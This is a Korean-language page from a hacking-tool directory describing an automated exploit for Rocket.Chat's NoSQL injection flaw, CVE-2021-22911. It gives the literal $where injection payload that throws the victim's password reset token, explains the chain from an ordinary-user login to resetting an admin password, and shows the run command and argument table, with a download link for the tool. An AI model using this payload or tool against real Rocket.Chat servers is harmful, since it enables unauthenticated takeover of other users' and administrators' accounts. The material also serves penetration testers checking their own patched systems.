Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
RocketChat-NoSQLi-Chain-CVE-2021-22911 — Rocket.Chat NoSQL 인젝션(CVE-2021-22911)을 악용하여 비밀번호 재설정 토큰을 유출하고 인증 없이 계정 탈취를 수행하는 자동화 익스플로잇입니다. | Kitploit
도구/GitHubGitHub/tenebrae93/rocketchat-nosqli-chain-cve-2021-22911
Password AttacksVulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingRed Teaming
GitHubtenebrae93/rocketchat-nosqli-chain-cve-2021-22911

RocketChat-NoSQLi-Chain-CVE-2021-22911

Rocket.Chat NoSQL 인젝션(CVE-2021-22911)을 악용하여 비밀번호 재설정 토큰을 유출하고 인증 없이 계정 탈취를 수행하는 자동화 익스플로잇입니다.

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
저장소 보기
16개월 전아직 검토되지 않음

Rocket.Chat NoSQLi 토큰 유출 및 비밀번호 재설정

Rocket.Chat(및 Meteor 기반 애플리케이션)을 위한 자동화된 익스플로잇 스크립트로, $where 절을 이용한 NoSQL 인젝션을 통해 서버 측 예외를 발생시켜 비밀번호 재설정 토큰을 유출합니다. 토큰이 유출되면 스크립트는 인증되지 않은 비밀번호 재설정을 수행합니다.

취약점 개요

  1. 인증: 스크립트는 일반 사용자로 인증하여 /api/v1/users.list 엔드포인트에 접근합니다.

  2. NoSQL 인젝션: query 파라미터를 사용하여 $where JavaScript 절을 주입합니다.

  3. 데이터 유출: 인젝션 내에서 throw 문을 사용하여 서버가 대상 사용자의 비밀번호 재설정 토큰을 포함한 "잡히지 않은 예외" 오류를 반환하도록 강제합니다.

  4. 계정 탈취: 스크립트는 유출된 토큰을 사용하여 resetPassword를 호출하고 대상 계정의 비밀번호를 변경합니다.

사용 방법

사전 요구 사항

  • Python 3.x

  • requests 라이브러리

Bash

root@kitploit:~
pip install requests

실행

Bash

root@kitploit:~
python3 exploit.py --url http://<TARGET_IP>:3000\
                   -u <YOUR_USER>\
                   -p <YOUR_PASS>\
                   -a <TARGET_ADMIN_USER>\
                   -ap <NEW_ADMIN_PASSWORD>

명령줄 인자

익스플로잇 체인 상세

익스플로잇의 핵심은 다음 인젝션 문자열입니다:

JavaScript

root@kitploit:~
{"$where":"this.username==='admin' && (()=>{ throw this.services.password.reset.token })()"}

서버에서 처리될 때 데이터베이스 엔진이 익명 함수를 실행하고 throw에서 충돌이 발생하며, 애플리케이션이 예외를 포착하여 의도치 않게 JSON 오류 응답에 비밀 토큰을 사용자에게 다시 전달합니다.

도구 다운로드
인자긴 플래그설명
-u--user초기 인증을 위한 유효한 사용자 이름 또는 이메일.
-p--password유효한 비밀번호.
-a--admin재설정하려는 계정의 사용자 이름.
-ap--admin-pass관리자 계정에 설정할 새 비밀번호.
--urlRocket.Chat 인스턴스의 기본 URL.